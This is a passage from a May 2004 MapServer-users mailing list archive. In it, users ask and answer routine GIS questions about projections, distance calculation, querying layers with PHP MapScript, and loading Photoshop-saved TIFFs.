http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From aaron at campusactivism.org Tue May 18 14:19:49 2004 From: aaron at campusactivism.org (Aaron Kreider) Date: Tue, 18 May 2004 16:19:49 -0500 Subject: [Mapserver-users] Mapserver Hosting Wanted Message-ID: <40AA37A5.29642.1261CF@localhost> Are there any companies that offer cheap Mapserver hosting? I found GisHosting.net offering Mapserver hosting, but their website is down and it looks like their effort may have never gotten off the ground. Does anyone know what happenned to them? I just need a basic web hosting plan, that comes with Mapserver installed. Aaron aaron at campusactivism.org From mcortez at fullcoll.edu Tue May 18 13:20:44 2004 From: mcortez at fullcoll.edu (Michael Cortez) Date: Tue, 18 May 2004 13:20:44 -0700 Subject: [Mapserver-users] Mixed Units (DD & Meters) Message-ID: <9E29C00EE9B21943AD20D86A5849910B04E7DEC4@fcex01.fullcoll.edu> I'm looking to mix data that is in Degrees Decimal and in Meters. I thought that I should be able to do this by specifying a PROJECTION for each LAYER but can't seem to find any details on just doing unit conversions. I'd like to keep the output in DD, but have some select layers sources be in Meters. Is this possible? Is there an example for setting up this type of PROJECTION or doing this conversion on the fly? Thanks, -- Michael Cortez Development Services Academic Computing Fullerton College http://www.fullcoll.edu P.S. Here is the relevant projection info from two of my data sources: DD data ================= Ogrinfo displays "unknown" where the projection info is normally shown, but this is an excerpt from the metadata file (http://data.geocomm.com/readme/usgs/atlas/html/statesmt.html) for the data: >> Geodetic_Model: >> Horizontal_Datum_Name: North American Datum 1983 >> Ellipsoid_Name: GRS1980 >> Semi-major_Axis: 6378137 >> Denominator_of_Flattening_Ratio: 298.257222 ================= Meter data ================= Extent: (-381980.468138, -608635.050165) - (564580.849511, 477826.380747) Layer SRS WKT: PROJCS["Custom", GEOGCS["GCS_North_American_1927", DATUM["North_American_Datum_1927", SPHEROID["Clarke_1866",6378206.4,294.9786982]], PRIMEM["Greenwich",0], UNIT["Degree",0.0174532925199433]], PROJECTION["Albers_Conic_Equal_Area"], PARAMETER["False_Easting",0], PARAMETER["False_Northing",-4000000], PARAMETER["longitude_of_center",-120], PARAMETER["Standard_Parallel_1",34], PARAMETER["Standard_Parallel_2",40.5], UNIT["Meter",1]] ================= From gis at farmvilleva.com Tue May 18 13:44:22 2004 From: gis at farmvilleva.com (John M. Duggan, LS) Date: Tue, 18 May 2004 16:44:22 -0400 Subject: [Mapserver-users] Text Rotation Message-ID: <00ef01c43d18$e6851f90$2100000a@JMDSurvey> This is a multi-part message in MIME format. ------=_NextPart_000_00EC_01C43CF7.5F34EFF0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable Greetings all, my gis page is running great. I had a problem in the past = where my font auto rotation did not work and caused a scrabble of = letters. Someone had told me that I need to upgrade my servers font = driver, but I can't find the email here or on the mapserver site. Could = someone please refresh my memory on what I need to do to fix this = problem. Thanks Sincerely, John John M. Duggan LS gis at farmvilleva.com http://www.farmvilleva.com (434) 392-3333 "......for the whole universe is in Him and He dwells within our heart." -The Upanishads ------=_NextPart_000_00EC_01C43CF7.5F34EFF0 Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
Greetings all, my gis page is running = great. I=20 had a problem in the past where my font auto rotation did not work and = caused a=20 scrabble of letters. Someone had told me that I need to upgrade my = servers font=20 driver, but I can't find the email here or on the mapserver site. Could = someone=20 please refresh my memory on what I need to do to fix this problem.=20 Thanks
Sincerely,
John
 
John M. Duggan LS
gis at farmvilleva.com
http://www.farmvilleva.com
(43= 4)=20 392-3333
 
"......for the whole universe is in Him = and He=20 dwells
within our=20 heart."
          &n= bsp;           &nb= sp;  =20 -The Upanishads
------=_NextPart_000_00EC_01C43CF7.5F34EFF0-- From czhou at cs.umn.edu Tue May 18 13:39:39 2004 From: czhou at cs.umn.edu (Changqing Zhou) Date: Tue, 18 May 2004 15:39:39 -0500 (CDT) Subject: [Mapserver-users] distance from lat-long Message-ID: Hi, I feel I am really asking a stupid question here. So please just discard if it makes you laugh. I have a pair of lat-long. My assumption is that my area is very small, like in a city. 1)Is there a simple equation I can use to calculate the distance in meters of those two points? 2)If I do d = sqrt [ sqr(p1.lat - p2.lat) + sqr(p1.long - p2.long)], does d mean anything at all? Thanks, Changqing From mcortez at fullcoll.edu Tue May 18 13:45:24 2004 From: mcortez at fullcoll.edu (Michael Cortez) Date: Tue, 18 May 2004 13:45:24 -0700 Subject: [Mapserver-users] Mixed Units (DD & Meters) Message-ID: <9E29C00EE9B21943AD20D86A5849910B04E7DEC6@fcex01.fullcoll.edu> > I'd like to keep the output in DD, but have some select > layers sources be in Meters. Is this possible? Is there an > example for setting up this type of PROJECTION or doing this > conversion on the fly? I know, replying to my own message... Bad, Bad... But... I've gotten closer -- digging through the archives, and taking a look at the map recipes (thanks Hal) I've "cobbled together" something that almost works. MAP EXTENT -8000000 300000 5000000 1500000 UNITS METERS PROJECTION "proj=lcc" "lat_1=32" "lat_2=44" "lat_0=38" "lon_0=-100" "x_0=0" "y_0=0" "ellps=WGS84" "datum=WGS84" END LAYER PROJECTION # Got this from recipe when I noticed it was using the same source data. "proj=latlong" "ellps=WGS84" "datum=WGS84" END END LAYER PROJECTION "proj=aea" "lon_0=-120" "ellps=clrk66" "lat_0=142" # Guessed this END END END For the lat_0 on my aea layer, I guessed that value. I added the layer without it, and looked at the results, and my California data was down next to Central America. So I added a lat_0 keyword, and played with the value until I got it overlay on top of the California state projected by my other layer. I doubt I've done this correctly. So any suggestions on the correct way of determining the projection info for my 2nd layer? Thanks, -- Michael Cortez Development Services Academic Computing Fullerton College http://www.fullcoll.edu From jerl.simpson at rkiq.com Tue May 18 13:57:31 2004 From: jerl.simpson at rkiq.com (Jerl Simpson) Date: Tue, 18 May 2004 15:57:31 -0500 Subject: [Mapserver-users] distance from lat-long In-Reply-To: References: Message-ID: <40AA78BB.6050907@rkiq.com> Changqing, Using PHP, this seems to work well for me. It's not completely precise, but it's pretty close for small areas. $A=abs($Lat1-$Lat2)*111195; $B=abs($Lon1-$Lon2)*111195*cos(deg2rad(($Lat1+$Lat2)/2)); $C=sqrt($A*$A + $B*$B); // gives distance in meters between two points Jerl Changqing Zhou wrote: > Hi, I feel I am really asking a stupid question here. So please just > discard if it makes you laugh. > > I have a pair of lat-long. My assumption is that my area is very small, > like in a city. > > 1)Is there a simple equation I can use to calculate the distance in > meters of those two points? > > 2)If I do d = sqrt [ sqr(p1.lat - p2.lat) + sqr(p1.long - p2.long)], does > d mean anything at all? > > Thanks, > > Changqing > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > . > From hal at mobilegeographics.com Tue May 18 13:59:06 2004 From: hal at mobilegeographics.com (Hal Mueller) Date: Tue, 18 May 2004 13:59:06 -0700 Subject: [Mapserver-users] .MAP file style--is IMAGETYPE necessary? Message-ID: I had written some .MAP files without IMAGETYPE specfications that worked fine on my server, but one person reported that the output format was not one he expected on his own servver. Can one of the senior folks tell me whether the IMAGETYPE line is required? Not required but a Really Good Idea? Superfluous? H From TMitchell at lignum.com Tue May 18 14:37:45 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Tue, 18 May 2004 14:37:45 -0700 Subject: [Mapserver-users] Hunting for global data Message-ID: I'm looking for any good global-scale datasets to show off MapServer's capabilities. The first thing I started looking for was a DEM or elevation image but everything I'm finding is in some obscure format or another. Anyone got gtopo in a more readily usable format and, ideally, seamless? I'm also interested in a any other global datasets - countries, hydrography, etc. that others are using. Any ideas? Tyler From ealpert at digitalglobe.com Tue May 18 15:08:16 2004 From: ealpert at digitalglobe.com (Ethan Alpert) Date: Tue, 18 May 2004 16:08:16 -0600 Subject: [Mapserver-users] Any way to have the extent set to the MBR of a layer? Message-ID: <1FB6937A87F9074C9A2B8F9D9137EB16140C0A@COMAIL01.digitalglobe.com> Just curious if there's a way to default the mapext's to be the MBR for a given layer. -ethan From ealpert at digitalglobe.com Tue May 18 15:33:51 2004 From: ealpert at digitalglobe.com (Ethan Alpert) Date: Tue, 18 May 2004 16:33:51 -0600 Subject: [Mapserver-users] How can I get the query info programatically? Message-ID: <1FB6937A87F9074C9A2B8F9D9137EB16140C0B@COMAIL01.digitalglobe.com> I'd like to get the information of the items selected in a query. The template approach isn't quite what I'm looking for. Is there a way to extract this info with perl (or php) mapscript? -e From woodbri at swoodbridge.com Tue May 18 16:38:32 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Tue, 18 May 2004 19:38:32 -0400 Subject: [Mapserver-users] How can I get the query info programatically? In-Reply-To: <1FB6937A87F9074C9A2B8F9D9137EB16140C0B@COMAIL01.digitalglobe.com> References: <1FB6937A87F9074C9A2B8F9D9137EB16140C0B@COMAIL01.digitalglobe.com> Message-ID: <40AA9E78.4040300@swoodbridge.com> Yes, and there are examples. See http://mapserver.gis.umn.edu/doc.html http://mapserver.gis.umn.edu/cgi-bin/wiki.pl -Steve Ethan Alpert wrote: > > I'd like to get the information of the items selected in a query. The > template approach isn't quite what I'm looking for. Is there a way to > extract this info with perl (or php) mapscript? > > -e > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From woodbri at swoodbridge.com Tue May 18 17:31:46 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Tue, 18 May 2004 20:31:46 -0400 Subject: [Mapserver-users] How can I get the query info programatically? In-Reply-To: <1FB6937A87F9074C9A2B8F9D9137EB16140C0C@COMAIL01.digitalglobe.com> References: <1FB6937A87F9074C9A2B8F9D9137EB16140C0C@COMAIL01.digitalglobe.com> Message-ID: <40AAAAF2.6020502@swoodbridge.com> Ethan, THere are ac bunch of Query examples at http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PerlMapScriptExamples35 for mapserver 3.5 but on the bottom is an example mapserver 4.2. Look at the quake.pl I think that does some query stuff. I also check the archives, because this has been asked before. I thought there was a straight forward query example, but I can't seem to locate the one I was thinking of. Once you get your example worked out you might want to post it to the wiki for others. -Steve Ethan Alpert wrote: > Any chance you can be more specific? I've been to the docs several times > looking for how to do this and I'm not finding what I'm looking for. > > I need to access information about items that were selected with a > query. > > -e > > -----Original Message----- > From: Stephen Woodbridge [mailto:woodbri at swoodbridge.com] > Sent: Tuesday, May 18, 2004 5:39 PM > To: Ethan Alpert > Cc: mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] How can I get the query info > programatically? > > > Yes, and there are examples. See > > http://mapserver.gis.umn.edu/doc.html > http://mapserver.gis.umn.edu/cgi-bin/wiki.pl > > -Steve > > Ethan Alpert wrote: > > >>I'd like to get the information of the items selected in a query. The >>template approach isn't quite what I'm looking for. Is there a way to >>extract this info with perl (or php) mapscript? >> >>-e >> >>_______________________________________________ >>Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> > > > From spencer at dmsolutions.ca Tue May 18 19:19:06 2004 From: spencer at dmsolutions.ca (Paul Spencer) Date: Tue, 18 May 2004 22:19:06 -0400 Subject: [Mapserver-users] How can I get the query info programatically? In-Reply-To: <40AAAAF2.6020502@swoodbridge.com> References: <1FB6937A87F9074C9A2B8F9D9137EB16140C0C@COMAIL01.digitalglobe.com> <40AAAAF2.6020502@swoodbridge.com> Message-ID: <40AAC41A.1020905@magma.ca> Ethan, the guts of it (for php mapscript) run something like this (completely untested for syntax or logic errors): //replace this with whatever your input is and your desired //query method, I'm assuming form variables named nX and nY //will contain the PIXEL location to query at $oPoint = ms_newPointObj(); $oPoint->setXY( $_GET['nX'], $_GET['nY'] ); if (@$oMap->queryByPoint( $oPoint, MS_MULTIPLE, -1) == MS_SUCCESS) { //query returned something, find out what by inspecting each layer for ($i=0; $i<$oMap->numlayers; $i++) { $oLayer = $oMap->getLayer($i); $nResults = $oLayer->getNumResults(); if ($nResults > 0) { echo "results for layer ".$oLayer->name."
"; $oLayer->open(); for ($j=0; $j<$nResults; $j++) { $oResult = $oLayer->getResult($j); $oShape = $oLayer->getShape( $oResult->tileindex, $oResult->shapeindex); //now you can access $oShape->values as an associative //array of key:value pairs foreach($oShape->values as $key => $value) { echo "$key => $value
"; } } $oLayer->close(); } else { //no results for this layer echo "no results for layer ".$oLayer->name." :(
"; } } } else { //query returned nothing echo "no results found on any layer :(
"; } If you get this working, perhaps you could do as Stephen has suggested and add it to the accumulated knowledge of MapServerdom ;) it is also possible to query just one or several layers directly using essentially the same method but accessing the layer object for queryByPoint instead. Cheers, Paul Stephen Woodbridge wrote: > Ethan, > > THere are ac bunch of Query examples at > http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PerlMapScriptExamples35 > for mapserver 3.5 but on the bottom is an example mapserver 4.2. Look at > the quake.pl I think that does some query stuff. > > I also check the archives, because this has been asked before. I thought > there was a straight forward query example, but I can't seem to locate > the one I was thinking of. Once you get your example worked out you > might want to post it to the wiki for others. > > -Steve > > Ethan Alpert wrote: > >> Any chance you can be more specific? I've been to the docs several times >> looking for how to do this and I'm not finding what I'm looking for. >> >> I need to access information about items that were selected with a >> query. >> >> -e >> >> -----Original Message----- >> From: Stephen Woodbridge [mailto:woodbri at swoodbridge.com] Sent: >> Tuesday, May 18, 2004 5:39 PM >> To: Ethan Alpert >> Cc: mapserver-users at lists.gis.umn.edu >> Subject: Re: [Mapserver-users] How can I get the query info >> programatically? >> >> >> Yes, and there are examples. See >> >> http://mapserver.gis.umn.edu/doc.html >> http://mapserver.gis.umn.edu/cgi-bin/wiki.pl >> >> -Steve >> >> Ethan Alpert wrote: >> >> >>> I'd like to get the information of the items selected in a query. The >>> template approach isn't quite what I'm looking for. Is there a way to >>> extract this info with perl (or php) mapscript? >>> >>> -e >>> >>> _______________________________________________ >>> Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu >>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>> >> >> >> > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ----------------------------------------------------------------- |Paul Spencer pspencer at dmsolutions.ca | |-----------------------------------------------------------------| |Applications & Software Development | |DM Solutions Group Inc http://www.dmsolutions.ca/| ----------------------------------------------------------------- From woodbri at swoodbridge.com Tue May 18 19:36:02 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Tue, 18 May 2004 22:36:02 -0400 Subject: [Mapserver-users] How can I get the query info programatically? In-Reply-To: <40AAC41A.1020905@magma.ca> References: <1FB6937A87F9074C9A2B8F9D9137EB16140C0C@COMAIL01.digitalglobe.com> <40AAAAF2.6020502@swoodbridge.com> <40AAC41A.1020905@magma.ca> Message-ID: <40AAC812.5080309@swoodbridge.com> Oh and one more critical thing to remember is that any layer you want to query MUST have a TEMPLATE "dummy" or a real TEMPLATE to get any results returned from it. -Steve Paul Spencer wrote: > Ethan, > > the guts of it (for php mapscript) run something like this (completely > untested for syntax or logic errors): > > //replace this with whatever your input is and your desired > //query method, I'm assuming form variables named nX and nY > //will contain the PIXEL location to query at > > $oPoint = ms_newPointObj(); > $oPoint->setXY( $_GET['nX'], $_GET['nY'] ); > if (@$oMap->queryByPoint( $oPoint, MS_MULTIPLE, -1) == MS_SUCCESS) > { > //query returned something, find out what by inspecting each layer > for ($i=0; $i<$oMap->numlayers; $i++) > { > $oLayer = $oMap->getLayer($i); > $nResults = $oLayer->getNumResults(); > if ($nResults > 0) > { > echo "results for layer ".$oLayer->name."
"; > $oLayer->open(); > for ($j=0; $j<$nResults; $j++) > { > $oResult = $oLayer->getResult($j); > $oShape = $oLayer->getShape( $oResult->tileindex, > $oResult->shapeindex); > //now you can access $oShape->values as an associative > //array of key:value pairs > foreach($oShape->values as $key => $value) > { > echo "$key => $value
"; > } > } > $oLayer->close(); > } > else > { > //no results for this layer > echo "no results for layer ".$oLayer->name." :(
"; > } > } > } > else > { > //query returned nothing > echo "no results found on any layer :(
"; > } > > If you get this working, perhaps you could do as Stephen has suggested > and add it to the accumulated knowledge of MapServerdom ;) > > it is also possible to query just one or several layers directly using > essentially the same method but accessing the layer object for > queryByPoint instead. > > Cheers, > > Paul > > Stephen Woodbridge wrote: > >> Ethan, >> >> THere are ac bunch of Query examples at >> http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PerlMapScriptExamples35 >> for mapserver 3.5 but on the bottom is an example mapserver 4.2. Look >> at the quake.pl I think that does some query stuff. >> >> I also check the archives, because this has been asked before. I >> thought there was a straight forward query example, but I can't seem >> to locate the one I was thinking of. Once you get your example worked >> out you might want to post it to the wiki for others. >> >> -Steve >> >> Ethan Alpert wrote: >> >>> Any chance you can be more specific? I've been to the docs several times >>> looking for how to do this and I'm not finding what I'm looking for. >>> >>> I need to access information about items that were selected with a >>> query. >>> >>> -e >>> >>> -----Original Message----- >>> From: Stephen Woodbridge [mailto:woodbri at swoodbridge.com] Sent: >>> Tuesday, May 18, 2004 5:39 PM >>> To: Ethan Alpert >>> Cc: mapserver-users at lists.gis.umn.edu >>> Subject: Re: [Mapserver-users] How can I get the query info >>> programatically? >>> >>> >>> Yes, and there are examples. See >>> >>> http://mapserver.gis.umn.edu/doc.html >>> http://mapserver.gis.umn.edu/cgi-bin/wiki.pl >>> >>> -Steve >>> >>> Ethan Alpert wrote: >>> >>> >>>> I'd like to get the information of the items selected in a query. >>>> The template approach isn't quite what I'm looking for. Is there a >>>> way to extract this info with perl (or php) mapscript? >>>> >>>> -e >>>> >>>> _______________________________________________ >>>> Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu >>>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>>> >>> >>> >>> >> >> _______________________________________________ >> Mapserver-users mailing list >> Mapserver-users at lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> > From marvin at rectangular.com Tue May 18 21:00:40 2004 From: marvin at rectangular.com (Marvin Humphrey) Date: Tue, 18 May 2004 21:00:40 -0700 Subject: [Mapserver-users] MapServer/gdal doesn't like Photoshop tiff Message-ID: <17BC99BE-A949-11D8-930D-003065AC1682@rectangular.com> Greetings, Problem: I load the mapserver tutorial at http://terrasip.gis.umn.edu/projects/tutorial/ . I take the tiff source used for example1-5.map, scp it off from the FreeBSD 4.9 box running MapServer to a Mac OS X 10.3 box running Photoshop 7.0 and resave it without editing. After scp'ing it back, MapServer doesn't process it anymore -- vector data displays when I load example1-5, but raster data is missing, and the display happens fast enough to suggest that MapServer is simply rejecting the file rather than misinterpreting its contents on a pixel-by-pixel basis. (My eventual goal is to take other raster sources (specifically GLOBE datafiles), turn them into tiffs and process them. This save-with-no-changes operation is for troubleshooting.) I've been through debugging the conflict between the internal tiff support and gdal. (How about making --with-tiff and --with-gdal an illegal compile combination?). MapServer has been recompiled --without-tiff. Here's my config: # ./mapserv40 -v MapServer version 4.0.2 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER INPUT=EPPL7 INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE gdal (version 1.2.0) has tiff support, since gtiff is in this list: # gdal-config --formats gxf gtiff hfa aigrid aaigrid ceos ceos2 iso8211 xpm sdts raw dted mem jdem envisat elas fit vrt usgsdem l1b nitf bmp pcidsk bsb gif jpeg png tiffinfo has this to say about the original image from the tutorial... # tiffinfo mod09a12003161_ugl_ll_8bit.tif mod09a12003161_ugl_ll_8bit.tif: Warning, unknown field with tag 33550 (0x830e) ignored. mod09a12003161_ugl_ll_8bit.tif: Warning, unknown field with tag 33922 (0x8482) ignored. mod09a12003161_ugl_ll_8bit.tif: Warning, unknown field with tag 34735 (0x87af) ignored. mod09a12003161_ugl_ll_8bit.tif: Warning, unknown field with tag 34737 (0x87b1) ignored. TIFF Directory at offset 0x1152f68 Image Width: 3480 Image Length: 1740 Resolution: 1, 1 (unitless) Bits/Sample: 8 Sample Format: unsigned integer Compression Scheme: None Photometric Interpretation: RGB color Software: "ERDAS IMAGINE" Samples/Pixel: 3 Rows/Strip: 8 Planar Configuration: single image plane ... and this to say about the copy... # tiffinfo mod09a12003161_ugl_ll_8bit_mild.tif mod09a12003161_ugl_ll_8bit_mild.tif: Warning, unknown field with tag 700 (0x2bc) ignored. mod09a12003161_ugl_ll_8bit_mild.tif: Warning, unknown field with tag 34665 (0x8769) ignored. TIFF Directory at offset 0x8 Subfile Type: (0 = 0x0) Image Width: 3480 Image Length: 1740 Resolution: 72, 72 pixels/inch Bits/Sample: 8 Compression Scheme: None Photometric Interpretation: RGB color Date & Time: "2004:05:18 19:26:44" Software: "Adobe Photoshop 7.0" Samples/Pixel: 3 Rows/Strip: 1740 Planar Configuration: single image plane Photoshop Data: , 9182 bytes What is it about the Photoshop tiff that MapServer or gdal doesn't like? It is an 8-bit-per-channel image, just like the original. All image-previews are disabled and ICC profile is not embedded (not that any of that should matter). Contrary to some reports I have unearthed while googling the mail archives, MapServer does not require an indexed-color 8-bit-per-pixel tiff -- because this original is a straight-up 24-bit RGB (3-channel x 8-bits-per-channel = 24-bits-per pixel) image! (I imagine that MapServer must choke on 16-bit-per-channel images, like the 16-bit greyscale of GLOBE files, or the 48-bit RGB files used in high-end scanning and image-manipulation.) The problem can't possibly be something as straightforward as byte-order, can it? -- Marvin Humphrey From jacob.delfos at maunsell.com Tue May 18 21:27:16 2004 From: jacob.delfos at maunsell.com (Delfos, Jacob) Date: Wed, 19 May 2004 14:27:16 +1000 Subject: [Mapserver-users] MapServer/gdal doesn't like Photoshop tiff Message-ID: I have also been unable to load a photoshop 7.0 TIFF file. Have not had problems with any other TIFF. Mine was 24bit RGB. A possible solution would be to save it from ER Viewer. -----Original Message----- From: Marvin Humphrey [mailto:marvin at rectangular.com] Sent: Wednesday, 19 May 2004 12:01 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] MapServer/gdal doesn't like Photoshop tiff Greetings, Problem: I load the mapserver tutorial at http://terrasip.gis.umn.edu/projects/tutorial/ . I take the tiff source used for example1-5.map, scp it off from the FreeBSD 4.9 box running MapServer to a Mac OS X 10.3 box running Photoshop 7.0 and resave it without editing. After scp'ing it back, MapServer doesn't process it anymore -- vector data displays when I load example1-5, but raster data is missing, and the display happens fast enough to suggest that MapServer is simply rejecting the file rather than misinterpreting its contents on a pixel-by-pixel basis. (My eventual goal is to take other raster sources (specifically GLOBE datafiles), turn them into tiffs and process them. This save-with-no-changes operation is for troubleshooting.) I've been through debugging the conflict between the internal tiff support and gdal. (How about making --with-tiff and --with-gdal an illegal compile combination?). MapServer has been recompiled --without-tiff. Here's my config: # ./mapserv40 -v MapServer version 4.0.2 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER INPUT=EPPL7 INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE gdal (version 1.2.0) has tiff support, since gtiff is in this list: # gdal-config --formats gxf gtiff hfa aigrid aaigrid ceos ceos2 iso8211 xpm sdts raw dted mem jdem envisat elas fit vrt usgsdem l1b nitf bmp pcidsk bsb gif jpeg png tiffinfo has this to say about the original image from the tutorial... # tiffinfo mod09a12003161_ugl_ll_8bit.tif mod09a12003161_ugl_ll_8bit.tif: Warning, unknown field with tag 33550 (0x830e) ignored. mod09a12003161_ugl_ll_8bit.tif: Warning, unknown field with tag 33922 (0x8482) ignored. mod09a12003161_ugl_ll_8bit.tif: Warning, unknown field with tag 34735 (0x87af) ignored. mod09a12003161_ugl_ll_8bit.tif: Warning, unknown field with tag 34737 (0x87b1) ignored. TIFF Directory at offset 0x1152f68 Image Width: 3480 Image Length: 1740 Resolution: 1, 1 (unitless) Bits/Sample: 8 Sample Format: unsigned integer Compression Scheme: None Photometric Interpretation: RGB color Software: "ERDAS IMAGINE" Samples/Pixel: 3 Rows/Strip: 8 Planar Configuration: single image plane ... and this to say about the copy... # tiffinfo mod09a12003161_ugl_ll_8bit_mild.tif mod09a12003161_ugl_ll_8bit_mild.tif: Warning, unknown field with tag 700 (0x2bc) ignored. mod09a12003161_ugl_ll_8bit_mild.tif: Warning, unknown field with tag 34665 (0x8769) ignored. TIFF Directory at offset 0x8 Subfile Type: (0 = 0x0) Image Width: 3480 Image Length: 1740 Resolution: 72, 72 pixels/inch Bits/Sample: 8 Compression Scheme: None Photometric Interpretation: RGB color Date & Time: "2004:05:18 19:26:44" Software: "Adobe Photoshop 7.0" Samples/Pixel: 3 Rows/Strip: 1740 Planar Configuration: single image plane Photoshop Data: , 9182 bytes What is it about the Photoshop tiff that MapServer or gdal doesn't like? It is an 8-bit-per-channel image, just like the original. All image-previews are disabled and ICC profile is not embedded (not that any of that should matter). Contrary to some reports I have unearthed while googling the mail archives, MapServer does not require an indexed-color 8-bit-per-pixel tiff -- because this original is a straight-up 24-bit RGB (3-channel x 8-bits-per-channel = 24-bits-per pixel) image! (I imagine that MapServer must choke on 16-bit-per-channel images, like the 16-bit greyscale of GLOBE files, or the 48-bit RGB files used in high-end scanning and image-manipulation.) The problem can't possibly be something as straightforward as byte-order, can it? -- Marvin Humphrey _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From warmerdam at pobox.com Tue May 18 14:46:38 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Tue, 18 May 2004 17:46:38 -0400 Subject: [Mapserver-users] .MAP file style--is IMAGETYPE necessary? In-Reply-To: References: Message-ID: <40AA843E.3090500@pobox.com> Hal Mueller wrote: > I had written some .MAP files without IMAGETYPE specfications that > worked fine on my server, but one person reported that the output format > was not one he expected on his own servver. Can one of the senior folks > tell me whether the IMAGETYPE line is required? Not required but a > Really Good Idea? Superfluous? > Hal, If you don't provide an IMAGETYPE the first configured output format will be used. If you declare any in your mapfile, the first of those should be used, otherwise it will be the first internal one. Normally the first internal one is either GIF or PNG. I would encourage using an explicit IMAGETYPE to avoid hard-to-diagnose problems when you upgrade and things change around a bit. However, for hacking up prototypes it isn't too important if you are happy with what gets selected. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From nacional at cbs.umn.edu Tue May 18 23:42:13 2004 From: nacional at cbs.umn.edu (Pericles S. Nacionales) Date: Wed, 19 May 2004 01:42:13 -0500 Subject: [Mapserver-users] MapServer/gdal doesn't like Photoshop tiff In-Reply-To: <17BC99BE-A949-11D8-930D-003065AC1682@rectangular.com> References: <17BC99BE-A949-11D8-930D-003065AC1682@rectangular.com> Message-ID: <1084948933.17892.44.camel@localhost> This happens because photoshop doesn't support GeoTIFF images. When you open the GeoTIFF image in Photoshop and then save it again, you lose the georeferencing. What you can do to fix it is create what's called a world file. This is a small text file with the following lines (this is only valid for the example 1.5 image): 0.00473306 0.0 0.0 -0.00473306 -97.3743368 49.415919 If you copy these lines to a text editor and save the file as mod09a12003161_ugl_ll_8bit.tfw in the same directory where you have your tiff image, your map should then work. To explain the lines briefly: line 1 represents the X dimension of your pixel (in map units) I don't really know what lines 2 and 3 are (don't change it unless you know what you're doing) line 4 is the negative Y dimension of your pixel (it has to be negative) line 5 is the upper left X coordinate of the image line 6 is the upper left Y coordinate of the image You can get these info if you have the GDAL utility program "gdalinfo". Go ahead and use photoshop to edit the images but make sure to get the pixel dimensions and upper left coordinates of the image before doing so. Good luck! -Perry On Tue, 2004-05-18 at 23:00, Marvin Humphrey wrote: > Greetings, > > Problem: I load the mapserver tutorial at > http://terrasip.gis.umn.edu/projects/tutorial/ . I take the tiff > source used for example1-5.map, scp it off from the FreeBSD 4.9 box > running MapServer to a Mac OS X 10.3 box running Photoshop 7.0 and > resave it without editing. After scp'ing it back, MapServer doesn't > process it anymore -- vector data displays when I load example1-5, but > raster data is missing, and the display happens fast enough to suggest > that MapServer is simply rejecting the file rather than misinterpreting > its contents on a pixel-by-pixel basis. > (My eventual goal is to take other raster sources (specifically GLOBE > datafiles), turn them into tiffs and process them. This > save-with-no-changes operation is for troubleshooting.) > > I've been through debugging the conflict between the internal tiff > support and gdal. (How about making --with-tiff and --with-gdal an > illegal compile combination?). MapServer has been recompiled > --without-tiff. Here's my config: > > # ./mapserv40 -v > MapServer version 4.0.2 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP > SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT > SUPPORTS=WFS_SERVER INPUT=EPPL7 INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE > > gdal (version 1.2.0) has tiff support, since gtiff is in this list: > > # gdal-config --formats > gxf gtiff hfa aigrid aaigrid ceos ceos2 iso8211 xpm sdts raw dted mem > jdem envisat elas fit vrt usgsdem l1b nitf bmp pcidsk bsb gif jpeg png > > tiffinfo has this to say about the original image from the tutorial... > > # tiffinfo mod09a12003161_ugl_ll_8bit.tif > mod09a12003161_ugl_ll_8bit.tif: Warning, unknown field with tag 33550 > (0x830e) ignored. > mod09a12003161_ugl_ll_8bit.tif: Warning, unknown field with tag 33922 > (0x8482) ignored. > mod09a12003161_ugl_ll_8bit.tif: Warning, unknown field with tag 34735 > (0x87af) ignored. > mod09a12003161_ugl_ll_8bit.tif: Warning, unknown field with tag 34737 > (0x87b1) ignored. > TIFF Directory at offset 0x1152f68 > Image Width: 3480 Image Length: 1740 > Resolution: 1, 1 (unitless) > 